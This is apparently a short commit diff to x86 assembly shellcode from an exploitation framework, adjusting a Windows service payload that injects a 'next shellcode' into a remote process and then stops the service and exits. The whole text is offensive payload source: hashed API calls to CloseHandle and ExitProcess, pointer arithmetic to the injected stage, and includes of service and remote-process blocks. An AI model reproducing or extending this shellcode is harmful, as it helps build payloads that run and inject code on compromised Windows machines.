Improve service_block with service_stopped block to cleanly terminate service

2014-01-03 15:12:25 +01:00
parent c43e3cf581
commit e269c1e4f1
3 changed files with 28 additions and 13 deletions
@@ -50,7 +50,7 @@ pop edx

 mov edi, eax
 mov ecx, [esi]
-lea edx, [edx+0x47] ;pointer on the next shellcode
+add dword edx, 0x112247   ;pointer on the next shellcode
 push esp
 push 0x00001000	;Next Shellcode Size
 push edx		;
@@ -79,8 +79,4 @@ call ebp 		;call CloseHandle()
 mov ecx, [esi+0x4]
 push ecx
 push 0x528796C6
-call ebp 		;call CloseHandle()
-
-push edi
-push 0x56A2B5F0
-call ebp		;call ExitProcess(0)
+call ebp 		;call CloseHandle()
@@ -14,4 +14,9 @@
 start:                   ;
  pop ebp                ; pop off the address of 'api_call' for calling later.
 %include "./src/block/block_service.asm"
-%include "./src/block/block_create_remote_process.asm"
+%include "./src/block/block_create_remote_process.asm"
+%include "./src/block/block_service_stopped.asm"
+
+push edi
+push 0x56A2B5F0
+call ebp		;call ExitProcess(0)